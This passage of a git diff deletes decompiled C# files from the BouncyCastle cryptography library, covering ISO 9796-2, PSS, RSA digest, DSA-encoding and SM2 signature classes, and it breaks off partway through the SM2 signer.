rsaKeyParameters.Modulus.BitLength; - block = new byte[(keyBits + 7) / 8]; - if (trailer == 188) - { - mBuf = new byte[block.Length - digest.GetDigestSize() - 2]; - } - else - { - mBuf = new byte[block.Length - digest.GetDigestSize() - 3]; - } - Reset(); - } - - private bool IsSameAs(byte[] a, byte[] b) - { - int num; - if (messageLength > mBuf.Length) - { - if (mBuf.Length > b.Length) - { - return false; - } - num = mBuf.Length; - } - else - { - if (messageLength != b.Length) - { - return false; - } - num = b.Length; - } - bool result = true; - for (int i = 0; i != num; i++) - { - if (a[i] != b[i]) - { - result = false; - } - } - return result; - } - - private void ClearBlock(byte[] block) - { - Array.Clear(block, 0, block.Length); - } - - public virtual void UpdateWithRecoveredMessage(byte[] signature) - { - byte[] array = cipher.ProcessBlock(signature, 0, signature.Length); - if (((array[0] & 0xC0) ^ 0x40) != 0) - { - throw new InvalidCipherTextException("malformed signature"); - } - if (((array[^1] & 0xF) ^ 0xC) != 0) - { - throw new InvalidCipherTextException("malformed signature"); - } - int num = 0; - if (((array[^1] & 0xFF) ^ 0xBC) == 0) - { - num = 1; - } - else - { - int num2 = ((array[^2] & 0xFF) << 8) | (array[^1] & 0xFF); - if (IsoTrailers.NoTrailerAvailable(digest)) - { - throw new ArgumentException("unrecognised hash in signature"); - } - if (num2 != IsoTrailers.GetTrailer(digest)) - { - throw new InvalidOperationException("signer initialised with wrong digest for trailer " + num2); - } - num = 2; - } - int num3 = 0; - for (num3 = 0; num3 != array.Length && ((array[num3] & 0xF) ^ 0xA) != 0; num3++) - { - } - num3++; - int num4 = array.Length - num - digest.GetDigestSize(); - if (num4 - num3 <= 0) - { - throw new InvalidCipherTextException("malformed block"); - } - if ((array[0] & 0x20) == 0) - { - fullMessage = true; - recoveredMessage = new byte[num4 - num3]; - Array.Copy(array, num3, recoveredMessage, 0, recoveredMessage.Length); - } - else - { - fullMessage = false; - recoveredMessage = new byte[num4 - num3]; - Array.Copy(array, num3, recoveredMessage, 0, recoveredMessage.Length); - } - preSig = signature; - preBlock = array; - digest.BlockUpdate(recoveredMessage, 0, recoveredMessage.Length); - messageLength = recoveredMessage.Length; - recoveredMessage.CopyTo(mBuf, 0); - } - - public virtual void Update(byte input) - { - digest.Update(input); - if (messageLength < mBuf.Length) - { - mBuf[messageLength] = input; - } - messageLength++; - } - - public virtual void BlockUpdate(byte[] input, int inOff, int length) - { - while (length > 0 && messageLength < mBuf.Length) - { - Update(input[inOff]); - inOff++; - length--; - } - digest.BlockUpdate(input, inOff, length); - messageLength += length; - } - - public virtual void Reset() - { - digest.Reset(); - messageLength = 0; - ClearBlock(mBuf); - if (recoveredMessage != null) - { - ClearBlock(recoveredMessage); - } - recoveredMessage = null; - fullMessage = false; - if (preSig != null) - { - preSig = null; - ClearBlock(preBlock); - preBlock = null; - } - } - - public virtual byte[] GenerateSignature() - { - int digestSize = digest.GetDigestSize(); - int num = 0; - int num2 = 0; - if (trailer == 188) - { - num = 8; - num2 = block.Length - digestSize - 1; - digest.DoFinal(block, num2); - block[block.Length - 1] = 188; - } - else - { - num = 16; - num2 = block.Length - digestSize - 2; - digest.DoFinal(block, num2); - block[block.Length - 2] = (byte)((uint)trailer >> 8); - block[block.Length - 1] = (byte)trailer; - } - byte b = 0; - int num3 = (digestSize + messageLength) * 8 + num + 4 - keyBits; - if (num3 > 0) - { - int num4 = messageLength - (num3 + 7) / 8; - b = 96; - num2 -= num4; - Array.Copy(mBuf, 0, block, num2, num4); - } - else - { - b = 64; - num2 -= messageLength; - Array.Copy(mBuf, 0, block, num2, messageLength); - } - if (num2 - 1 > 0) - { - for (int num5 = num2 - 1; num5 != 0; num5--) - { - block[num5] = 187; - } - byte[] array2; - byte[] array = (array2 = block); - int num6 = num2 - 1; - nint num7 = num6; - array[num6] = (byte)(array2[num7] ^ 1); - block[0] = 11; - (array2 = block)[0] = (byte)(array2[0] | b); - } - else - { - block[0] = 10; - byte[] array2; - (array2 = block)[0] = (byte)(array2[0] | b); - } - byte[] result = cipher.ProcessBlock(block, 0, block.Length); - messageLength = 0; - ClearBlock(mBuf); - ClearBlock(block); - return result; - } - - public virtual bool VerifySignature(byte[] signature) - { - byte[] array; - if (preSig == null) - { - try - { - array = cipher.ProcessBlock(signature, 0, signature.Length); - } - catch (Exception) - { - return false; - } - } - else - { - if (!Arrays.AreEqual(preSig, signature)) - { - throw new InvalidOperationException("updateWithRecoveredMessage called on different signature"); - } - array = preBlock; - preSig = null; - preBlock = null; - } - if (((array[0] & 0xC0) ^ 0x40) != 0) - { - return ReturnFalse(array); - } - if (((array[^1] & 0xF) ^ 0xC) != 0) - { - return ReturnFalse(array); - } - int num = 0; - if (((array[^1] & 0xFF) ^ 0xBC) == 0) - { - num = 1; - } - else - { - int num2 = ((array[^2] & 0xFF) << 8) | (array[^1] & 0xFF); - if (IsoTrailers.NoTrailerAvailable(digest)) - { - throw new ArgumentException("unrecognised hash in signature"); - } - if (num2 != IsoTrailers.GetTrailer(digest)) - { - throw new InvalidOperationException("signer initialised with wrong digest for trailer " + num2); - } - num = 2; - } - int i; - for (i = 0; i != array.Length && ((array[i] & 0xF) ^ 0xA) != 0; i++) - { - } - i++; - byte[] array2 = new byte[digest.GetDigestSize()]; - int num3 = array.Length - num - array2.Length; - if (num3 - i <= 0) - { - return ReturnFalse(array); - } - if ((array[0] & 0x20) == 0) - { - fullMessage = true; - if (messageLength > num3 - i) - { - return ReturnFalse(array); - } - digest.Reset(); - digest.BlockUpdate(array, i, num3 - i); - digest.DoFinal(array2, 0); - bool flag = true; - for (int j = 0; j != array2.Length; j++) - { - byte[] array4; - byte[] array3 = (array4 = array); - int num4 = num3 + j; - nint num5 = num4; - array3[num4] = (byte)(array4[num5] ^ array2[j]); - if (array[num3 + j] != 0) - { - flag = false; - } - } - if (!flag) - { - return ReturnFalse(array); - } - recoveredMessage = new byte[num3 - i]; - Array.Copy(array, i, recoveredMessage, 0, recoveredMessage.Length); - } - else - { - fullMessage = false; - digest.DoFinal(array2, 0); - bool flag2 = true; - for (int k = 0; k != array2.Length; k++) - { - byte[] array4; - byte[] array5 = (array4 = array); - int num6 = num3 + k; - nint num5 = num6; - array5[num6] = (byte)(array4[num5] ^ array2[k]); - if (array[num3 + k] != 0) - { - flag2 = false; - } - } - if (!flag2) - { - return ReturnFalse(array); - } - recoveredMessage = new byte[num3 - i]; - Array.Copy(array, i, recoveredMessage, 0, recoveredMessage.Length); - } - if (messageLength != 0 && !IsSameAs(mBuf, recoveredMessage)) - { - return ReturnFalse(array); - } - ClearBlock(mBuf); - ClearBlock(array); - messageLength = 0; - return true; - } - - private bool ReturnFalse(byte[] block) - { - messageLength = 0; - ClearBlock(mBuf); - ClearBlock(block); - return false; - } - - public virtual bool HasFullMessage() - { - return fullMessage; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/IsoTrailers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/IsoTrailers.cs deleted file mode 100644 index f3ee3dc..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/IsoTrailers.cs +++ /dev/null @@ -1,58 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.Crypto.Signers; - -public class IsoTrailers -{ - public const int TRAILER_IMPLICIT = 188; - - public const int TRAILER_RIPEMD160 = 12748; - - public const int TRAILER_RIPEMD128 = 13004; - - public const int TRAILER_SHA1 = 13260; - - public const int TRAILER_SHA256 = 13516; - - public const int TRAILER_SHA512 = 13772; - - public const int TRAILER_SHA384 = 14028; - - public const int TRAILER_WHIRLPOOL = 14284; - - public const int TRAILER_SHA224 = 14540; - - public const int TRAILER_SHA512_224 = 14796; - - public const int TRAILER_SHA512_256 = 16588; - - private static readonly IDictionary trailerMap = CreateTrailerMap(); - - private static IDictionary CreateTrailerMap() - { - IDictionary dictionary = Platform.CreateHashtable(); - dictionary.Add("RIPEMD128", 13004); - dictionary.Add("RIPEMD160", 12748); - dictionary.Add("SHA-1", 13260); - dictionary.Add("SHA-224", 14540); - dictionary.Add("SHA-256", 13516); - dictionary.Add("SHA-384", 14028); - dictionary.Add("SHA-512", 13772); - dictionary.Add("SHA-512/224", 14796); - dictionary.Add("SHA-512/256", 16588); - dictionary.Add("Whirlpool", 14284); - return CollectionUtilities.ReadOnly(dictionary); - } - - public static int GetTrailer(IDigest digest) - { - return (int)trailerMap[digest.AlgorithmName]; - } - - public static bool NoTrailerAvailable(IDigest digest) - { - return !trailerMap.Contains(digest.AlgorithmName); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/PlainDsaEncoding.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/PlainDsaEncoding.cs deleted file mode 100644 index 706b3ca..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/PlainDsaEncoding.cs +++ /dev/null @@ -1,57 +0,0 @@ -using System; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Signers; - -public class PlainDsaEncoding : IDsaEncoding -{ - public static readonly PlainDsaEncoding Instance = new PlainDsaEncoding(); - - public virtual BigInteger[] Decode(BigInteger n, byte[] encoding) - { - int unsignedByteLength = BigIntegers.GetUnsignedByteLength(n); - if (encoding.Length != unsignedByteLength * 2) - { - throw new ArgumentException("Encoding has incorrect length", "encoding"); - } - return new BigInteger[2] - { - DecodeValue(n, encoding, 0, unsignedByteLength), - DecodeValue(n, encoding, unsignedByteLength, unsignedByteLength) - }; - } - - public virtual byte[] Encode(BigInteger n, BigInteger r, BigInteger s) - { - int unsignedByteLength = BigIntegers.GetUnsignedByteLength(n); - byte[] array = new byte[unsignedByteLength * 2]; - EncodeValue(n, r, array, 0, unsignedByteLength); - EncodeValue(n, s, array, unsignedByteLength, unsignedByteLength); - return array; - } - - protected virtual BigInteger CheckValue(BigInteger n, BigInteger x) - { - if (x.SignValue < 0 || x.CompareTo(n) >= 0) - { - throw new ArgumentException("Value out of range", "x"); - } - return x; - } - - protected virtual BigInteger DecodeValue(BigInteger n, byte[] buf, int off, int len) - { - return CheckValue(n, new BigInteger(1, buf, off, len)); - } - - protected virtual void EncodeValue(BigInteger n, BigInteger x, byte[] buf, int off, int len) - { - byte[] array = CheckValue(n, x).ToByteArrayUnsigned(); - int num = System.Math.Max(0, array.Length - len); - int num2 = array.Length - num; - int num3 = len - num2; - Arrays.Fill(buf, off, off + num3, 0); - Array.Copy(array, num, buf, off + num3, num2); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/PssSigner.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/PssSigner.cs deleted file mode 100644 index c543806..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/PssSigner.cs +++ /dev/null @@ -1,276 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Digests; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Signers; - -public class PssSigner : ISigner -{ - public const byte TrailerImplicit = 188; - - private readonly IDigest contentDigest1; - - private readonly IDigest contentDigest2; - - private readonly IDigest mgfDigest; - - private readonly IAsymmetricBlockCipher cipher; - - private SecureRandom random; - - private int hLen; - - private int mgfhLen; - - private int sLen; - - private bool sSet; - - private int emBits; - - private byte[] salt; - - private byte[] mDash; - - private byte[] block; - - private byte trailer; - - public virtual string AlgorithmName => mgfDigest.AlgorithmName + "withRSAandMGF1"; - - public static PssSigner CreateRawSigner(IAsymmetricBlockCipher cipher, IDigest digest) - { - return new PssSigner(cipher, new NullDigest(), digest, digest, digest.GetDigestSize(), null, 188); - } - - public static PssSigner CreateRawSigner(IAsymmetricBlockCipher cipher, IDigest contentDigest, IDigest mgfDigest, int saltLen, byte trailer) - { - return new PssSigner(cipher, new NullDigest(), contentDigest, mgfDigest, saltLen, null, trailer); - } - - public PssSigner(IAsymmetricBlockCipher cipher, IDigest digest) - : this(cipher, digest, digest.GetDigestSize()) - { - } - - public PssSigner(IAsymmetricBlockCipher cipher, IDigest digest, int saltLen) - : this(cipher, digest, saltLen, 188) - { - } - - public PssSigner(IAsymmetricBlockCipher cipher, IDigest digest, byte[] salt) - : this(cipher, digest, digest, digest, salt.Length, salt, 188) - { - } - - public PssSigner(IAsymmetricBlockCipher cipher, IDigest contentDigest, IDigest mgfDigest, int saltLen) - : this(cipher, contentDigest, mgfDigest, saltLen, 188) - { - } - - public PssSigner(IAsymmetricBlockCipher cipher, IDigest contentDigest, IDigest mgfDigest, byte[] salt) - : this(cipher, contentDigest, contentDigest, mgfDigest, salt.Length, salt, 188) - { - } - - public PssSigner(IAsymmetricBlockCipher cipher, IDigest digest, int saltLen, byte trailer) - : this(cipher, digest, digest, saltLen, 188) - { - } - - public PssSigner(IAsymmetricBlockCipher cipher, IDigest contentDigest, IDigest mgfDigest, int saltLen, byte trailer) - : this(cipher, contentDigest, contentDigest, mgfDigest, saltLen, null, trailer) - { - } - - private PssSigner(IAsymmetricBlockCipher cipher, IDigest contentDigest1, IDigest contentDigest2, IDigest mgfDigest, int saltLen, byte[] salt, byte trailer) - { - this.cipher = cipher; - this.contentDigest1 = contentDigest1; - this.contentDigest2 = contentDigest2; - this.mgfDigest = mgfDigest; - hLen = contentDigest2.GetDigestSize(); - mgfhLen = mgfDigest.GetDigestSize(); - sLen = saltLen; - sSet = salt != null; - if (sSet) - { - this.salt = salt; - } - else - { - this.salt = new byte[saltLen]; - } - mDash = new byte[8 + saltLen + hLen]; - this.trailer = trailer; - } - - public virtual void Init(bool forSigning, ICipherParameters parameters) - { - if (parameters is ParametersWithRandom) - { - ParametersWithRandom parametersWithRandom = (ParametersWithRandom)parameters; - parameters = parametersWithRandom.Parameters; - random = parametersWithRandom.Random; - } - else if (forSigning) - { - random = new SecureRandom(); - } - cipher.Init(forSigning, parameters); - RsaKeyParameters rsaKeyParameters = ((!(parameters is RsaBlindingParameters)) ? ((RsaKeyParameters)parameters) : ((RsaBlindingParameters)parameters).PublicKey); - emBits = rsaKeyParameters.Modulus.BitLength - 1; - if (emBits < 8 * hLen + 8 * sLen + 9) - { - throw new ArgumentException("key too small for specified hash and salt lengths"); - } - block = new byte[(emBits + 7) / 8]; - } - - private void ClearBlock(byte[] block) - { - Array.Clear(block, 0, block.Length); - } - - public virtual void Update(byte input) - { - contentDigest1.Update(input); - } - - public virtual void BlockUpdate(byte[] input, int inOff, int length) - { - contentDigest1.BlockUpdate(input, inOff, length); - } - - public virtual void Reset() - { - contentDigest1.Reset(); - } - - public virtual byte[] GenerateSignature() - { - contentDigest1.DoFinal(mDash, mDash.Length - hLen - sLen); - if (sLen != 0) - { - if (!sSet) - { - random.NextBytes(salt); - } - salt.CopyTo(mDash, mDash.Length - sLen); - } - byte[] array = new byte[hLen]; - contentDigest2.BlockUpdate(mDash, 0, mDash.Length); - contentDigest2.DoFinal(array, 0); - block[block.Length - sLen - 1 - hLen - 1] = 1; - salt.CopyTo(block, block.Length - sLen - hLen - 1); - byte[] array2 = MaskGeneratorFunction1(array, 0, array.Length, block.Length - hLen - 1); - byte[] array4; - for (int i = 0; i != array2.Length; i++) - { - byte[] array3 = (array4 = block); - int num = i; - nint num2 = num; - array3[num] = (byte)(array4[num2] ^ array2[i]); - } - (array4 = block)[0] = (byte)(array4[0] & (byte)(255 >> block.Length * 8 - emBits)); - array.CopyTo(block, block.Length - hLen - 1); - block[block.Length - 1] = trailer; - byte[] result = cipher.ProcessBlock(block, 0, block.Length); - ClearBlock(block); - return result; - } - - public virtual bool VerifySignature(byte[] signature) - { - contentDigest1.DoFinal(mDash, mDash.Length - hLen - sLen); - byte[] array = cipher.ProcessBlock(signature, 0, signature.Length); - array.CopyTo(block, block.Length - array.Length); - if (block[block.Length - 1] != trailer) - { - ClearBlock(block); - return false; - } - byte[] array2 = MaskGeneratorFunction1(block, block.Length - hLen - 1, hLen, block.Length - hLen - 1); - byte[] array4; - for (int i = 0; i != array2.Length; i++) - { - byte[] array3 = (array4 = block); - int num = i; - nint num2 = num; - array3[num] = (byte)(array4[num2] ^ array2[i]); - } - (array4 = block)[0] = (byte)(array4[0] & (byte)(255 >> block.Length * 8 - emBits)); - for (int j = 0; j != block.Length - hLen - sLen - 2; j++) - { - if (block[j] != 0) - { - ClearBlock(block); - return false; - } - } - if (block[block.Length - hLen - sLen - 2] != 1) - { - ClearBlock(block); - return false; - } - if (sSet) - { - Array.Copy(salt, 0, mDash, mDash.Length - sLen, sLen); - } - else - { - Array.Copy(block, block.Length - sLen - hLen - 1, mDash, mDash.Length - sLen, sLen); - } - contentDigest2.BlockUpdate(mDash, 0, mDash.Length); - contentDigest2.DoFinal(mDash, mDash.Length - hLen); - int num3 = block.Length - hLen - 1; - for (int k = mDash.Length - hLen; k != mDash.Length; k++) - { - if ((block[num3] ^ mDash[k]) != 0) - { - ClearBlock(mDash); - ClearBlock(block); - return false; - } - num3++; - } - ClearBlock(mDash); - ClearBlock(block); - return true; - } - - private void ItoOSP(int i, byte[] sp) - { - sp[0] = (byte)((uint)i >> 24); - sp[1] = (byte)((uint)i >> 16); - sp[2] = (byte)((uint)i >> 8); - sp[3] = (byte)i; - } - - private byte[] MaskGeneratorFunction1(byte[] Z, int zOff, int zLen, int length) - { - byte[] array = new byte[length]; - byte[] array2 = new byte[mgfhLen]; - byte[] array3 = new byte[4]; - int i = 0; - mgfDigest.Reset(); - for (; i < length / mgfhLen; i++) - { - ItoOSP(i, array3); - mgfDigest.BlockUpdate(Z, zOff, zLen); - mgfDigest.BlockUpdate(array3, 0, array3.Length); - mgfDigest.DoFinal(array2, 0); - array2.CopyTo(array, i * mgfhLen); - } - if (i * mgfhLen < length) - { - ItoOSP(i, array3); - mgfDigest.BlockUpdate(Z, zOff, zLen); - mgfDigest.BlockUpdate(array3, 0, array3.Length); - mgfDigest.DoFinal(array2, 0); - Array.Copy(array2, 0, array, i * mgfhLen, array.Length - i * mgfhLen); - } - return array; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/RandomDsaKCalculator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/RandomDsaKCalculator.cs deleted file mode 100644 index 58ca9ef..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/RandomDsaKCalculator.cs +++ /dev/null @@ -1,37 +0,0 @@ -using System; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Signers; - -public class RandomDsaKCalculator : IDsaKCalculator -{ - private BigInteger q; - - private SecureRandom random; - - public virtual bool IsDeterministic => false; - - public virtual void Init(BigInteger n, SecureRandom random) - { - q = n; - this.random = random; - } - - public virtual void Init(BigInteger n, BigInteger d, byte[] message) - { - throw new InvalidOperationException("Operation not supported"); - } - - public virtual BigInteger NextK() - { - int bitLength = q.BitLength; - BigInteger bigInteger; - do - { - bigInteger = new BigInteger(bitLength, random); - } - while (bigInteger.SignValue < 1 || bigInteger.CompareTo(q) >= 0); - return bigInteger; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/RsaDigestSigner.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/RsaDigestSigner.cs deleted file mode 100644 index 6f03213..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/RsaDigestSigner.cs +++ /dev/null @@ -1,174 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.TeleTrust; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto.Encodings; -using Org.BouncyCastle.Crypto.Engines; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Signers; - -public class RsaDigestSigner : ISigner -{ - private readonly IAsymmetricBlockCipher rsaEngine; - - private readonly AlgorithmIdentifier algId; - - private readonly IDigest digest; - - private bool forSigning; - - private static readonly IDictionary oidMap; - - public virtual string AlgorithmName => digest.AlgorithmName + "withRSA"; - - static RsaDigestSigner() - { - oidMap = Platform.CreateHashtable(); - oidMap["RIPEMD128"] = TeleTrusTObjectIdentifiers.RipeMD128; - oidMap["RIPEMD160"] = TeleTrusTObjectIdentifiers.RipeMD160; - oidMap["RIPEMD256"] = TeleTrusTObjectIdentifiers.RipeMD256; - oidMap["SHA-1"] = X509ObjectIdentifiers.IdSha1; - oidMap["SHA-224"] = NistObjectIdentifiers.IdSha224; - oidMap["SHA-256"] = NistObjectIdentifiers.IdSha256; - oidMap["SHA-384"] = NistObjectIdentifiers.IdSha384; - oidMap["SHA-512"] = NistObjectIdentifiers.IdSha512; - oidMap["MD2"] = PkcsObjectIdentifiers.MD2; - oidMap["MD4"] = PkcsObjectIdentifiers.MD4; - oidMap["MD5"] = PkcsObjectIdentifiers.MD5; - } - - public RsaDigestSigner(IDigest digest) - : this(digest, (DerObjectIdentifier)oidMap[digest.AlgorithmName]) - { - } - - public RsaDigestSigner(IDigest digest, DerObjectIdentifier digestOid) - : this(digest, new AlgorithmIdentifier(digestOid, DerNull.Instance)) - { - } - - public RsaDigestSigner(IDigest digest, AlgorithmIdentifier algId) - : this(new RsaCoreEngine(), digest, algId) - { - } - - public RsaDigestSigner(IRsa rsa, IDigest digest, DerObjectIdentifier digestOid) - : this(rsa, digest, new AlgorithmIdentifier(digestOid, DerNull.Instance)) - { - } - - public RsaDigestSigner(IRsa rsa, IDigest digest, AlgorithmIdentifier algId) - : this(new RsaBlindedEngine(rsa), digest, algId) - { - } - - public RsaDigestSigner(IAsymmetricBlockCipher rsaEngine, IDigest digest, AlgorithmIdentifier algId) - { - this.rsaEngine = new Pkcs1Encoding(rsaEngine); - this.digest = digest; - this.algId = algId; - } - - public virtual void Init(bool forSigning, ICipherParameters parameters) - { - this.forSigning = forSigning; - AsymmetricKeyParameter asymmetricKeyParameter = ((!(parameters is ParametersWithRandom)) ? ((AsymmetricKeyParameter)parameters) : ((AsymmetricKeyParameter)((ParametersWithRandom)parameters).Parameters)); - if (forSigning && !asymmetricKeyParameter.IsPrivate) - { - throw new InvalidKeyException("Signing requires private key."); - } - if (!forSigning && asymmetricKeyParameter.IsPrivate) - { - throw new InvalidKeyException("Verification requires public key."); - } - Reset(); - rsaEngine.Init(forSigning, parameters); - } - - public virtual void Update(byte input) - { - digest.Update(input); - } - - public virtual void BlockUpdate(byte[] input, int inOff, int length) - { - digest.BlockUpdate(input, inOff, length); - } - - public virtual byte[] GenerateSignature() - { - if (!forSigning) - { - throw new InvalidOperationException("RsaDigestSigner not initialised for signature generation."); - } - byte[] array = new byte[digest.GetDigestSize()]; - digest.DoFinal(array, 0); - byte[] array2 = DerEncode(array); - return rsaEngine.ProcessBlock(array2, 0, array2.Length); - } - - public virtual bool VerifySignature(byte[] signature) - { - if (forSigning) - { - throw new InvalidOperationException("RsaDigestSigner not initialised for verification"); - } - byte[] array = new byte[digest.GetDigestSize()]; - digest.DoFinal(array, 0); - byte[] array2; - byte[] array3; - try - { - array2 = rsaEngine.ProcessBlock(signature, 0, signature.Length); - array3 = DerEncode(array); - } - catch (Exception) - { - return false; - } - if (array2.Length == array3.Length) - { - return Arrays.ConstantTimeAreEqual(array2, array3); - } - if (array2.Length == array3.Length - 2) - { - int num = array2.Length - array.Length - 2; - int num2 = array3.Length - array.Length - 2; - byte[] array4; - (array4 = array3)[1] = (byte)(array4[1] - 2); - (array4 = array3)[3] = (byte)(array4[3] - 2); - int num3 = 0; - for (int i = 0; i < array.Length; i++) - { - num3 |= array2[num + i] ^ array3[num2 + i]; - } - for (int j = 0; j < num; j++) - { - num3 |= array2[j] ^ array3[j]; - } - return num3 == 0; - } - return false; - } - - public virtual void Reset() - { - digest.Reset(); - } - - private byte[] DerEncode(byte[] hash) - { - if (algId == null) - { - return hash; - } - DigestInfo digestInfo = new DigestInfo(algId, hash); - return digestInfo.GetDerEncoded(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/SM2Signer.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/SM2Signer.cs deleted file mode 100644 index 48e7459..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/SM2Signer.cs +++ /dev/null @@ -1,211 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Digests; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC; -using Org.BouncyCastle.Math.EC.Multiplier; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Crypto.Signers; - -public class SM2Signer : ISigner -{ - private readonly IDsaKCalculator kCalculator = new RandomDsaKCalculator(); - - private readonly SM3Digest digest = new SM3Digest(); - - private readonly IDsaEncoding encoding; - - private ECDomainParameters ecParams; - - private ECPoint pubPoint; - - private ECKeyParameters ecKey; - - private byte[] z; - - public virtual string AlgorithmName => "SM2Sign"; - - public SM2Signer() - { - encoding = StandardDsaEncoding.Instance; - } - - public SM2Signer(IDsaEncoding encoding) - { - this.encoding = encoding; - } - - public virtual void Init(bool forSigning, ICipherParameters parameters) - { - ICipherParameters cipherParameters; - byte[] userID; - if (parameters is ParametersWithID) - { - cipherParameters = ((ParametersWithID)parameters).Parameters; - userID = ((ParametersWithID)parameters).GetID(); - } - else - { - cipherParameters = parameters; - userID = Hex.Decode("31323334353637383132333435363738"); - } - if (forSigning) - { - if (cipherParameters is ParametersWithRandom) - { - ParametersWithRandom parametersWithRandom = (ParametersWithRandom)cipherParameters; - ecKey = (ECKeyParameters)parametersWithRandom.Parameters; - ecParams = ecKey.Parameters; - kCalculator.Init(ecParams.N, parametersWithRandom.Random); - } - else - { - ecKey = (ECKeyParameters)cipherParameters; - ecParams = ecKey.Parameters; - kCalculator.Init(ecParams.N, new SecureRandom()); - } - pubPoint = CreateBasePointMultiplier().Multiply(ecParams.G, ((ECPrivateKeyParameters)ecKey).D).Normalize(); - } - else - { - ecKey = (ECKeyParameters)cipherParameters; - ecParams = ecKey.Parameters; - pubPoint = ((ECPublicKeyParameters)ecKey).Q; - } - digest.Reset(); - z = GetZ(userID); - digest.BlockUpdate(z, 0, z.Length); - } - - public virtual void Update(byte b) - { - digest.Update(b); - } - - public virtual void BlockUpdate(byte[] buf, int off, int len) - { - digest.BlockUpdate(buf, off, len); - } - - public virtual bool VerifySignature(byte[] signature) - { - try - { - BigInteger[] array = encoding.Decode(ecParams.N, signature); - return VerifySignature(array[0], array[1]); - } - catch (Exception) - { - } - return false; - } - - public virtual void Reset() - { - if (z != null) - { - digest.Reset(); - digest.BlockUpdate(z, 0, z.Length); - } - } - - public virtual byte[] GenerateSignature() - { - byte[] message = DigestUtilities.DoFinal(digest); - BigInteger n = ecParams.N; - BigInteger bigInteger = CalculateE(message); - BigInteger d = ((ECPrivateKeyParameters)ecKey).D; - ECMultiplier eCMultiplier = CreateBasePointMultiplier(); - BigInteger bigInteger3; - BigInteger val; - while (true) - { - BigInteger bigInteger2 = kCalculator.NextK(); - ECPoint eCPoint = eCMultiplier.Multiply(ecParams.G, bigInteger2).Normalize(); - bigInteger3 = bigInteger.Add(eCPoint.AffineXCoord.ToBigInteger()).Mod(n); - if (bigInteger3.SignValue != 0 && !bigInteger3.Add(bigInteger2).Equals(n)) - { - BigInteger bigInteger4 = d.Add(BigInteger.One).ModInverse(n); - val = bigInteger2.Subtract(bigInteger3.Multiply(d)).Mod(n); - val = bigInteger4.Multiply(val).Mod(n); - if (val.SignValue != 0) - { - break; - } - } - } - try - { - return encoding.Encode(ecParams.N, bigInteger3, val); - } - catch (Exception ex) - { - throw new CryptoException("unable to encode signature: " + ex.Message, ex); - } - } - - private bool VerifySignature(BigInteger r, BigInteger s) - { - BigInteger n = ecParams.N; - if (r.CompareTo(BigInteger.One) < 0 || r.CompareTo(n) >= 0) - { - return false; - } - if (s.CompareTo(BigInteger.One) < 0 || s.CompareTo(n) >= 0) - { - return false; - } - byte[] message = DigestUtilities.DoFinal(digest); - BigInteger bigInteger = CalculateE(message); - BigInteger bigInteger2 = r.Add(s).Mod(n); - if (bigInteger2.SignValue == 0) - { - return false; - } - ECPoint q = ((ECPublicKeyParameters)ecKey).Q; - ECPoint eCPoint = ECAlgorithms.SumOfTwoMultiplies(ecParams.G, s, q, bigInteger2).Normalize(); - if (eCPoint.IsInfinity) - { - return false; - } - return r.Equals(bigInteger.Add(eCPoint.AffineXCoord.ToBigInteger()).Mod(n)); - } - - private byte[] GetZ(byte[] userID) - { - AddUserID(digest, userID); - AddFieldElement(digest, ecParams.Curve.A); - AddFieldElement(digest, ecParams.Curve.B); - AddFieldElement(digest, ecParams.G.AffineXCoord); - AddFieldElement(digest, ecParams.G.AffineYCoord); - AddFieldElement(digest, pubPoint.AffineXCoord); - AddFieldElement(digest, pubPoint.AffineYCoord); - return DigestUtilities.DoFinal(digest); - } - - private void AddUserID(IDigest digest, byte[] userID) - { - int num = userID.Length * 8; - digest.Update((byte)(num >> 8)); - digest.Update((byte)num); - digest.BlockUpdate(userID, 0, userID.Length); - } - - private void AddFieldElement(IDigest digest, ECFieldElement v) - { - byte[] encoded = 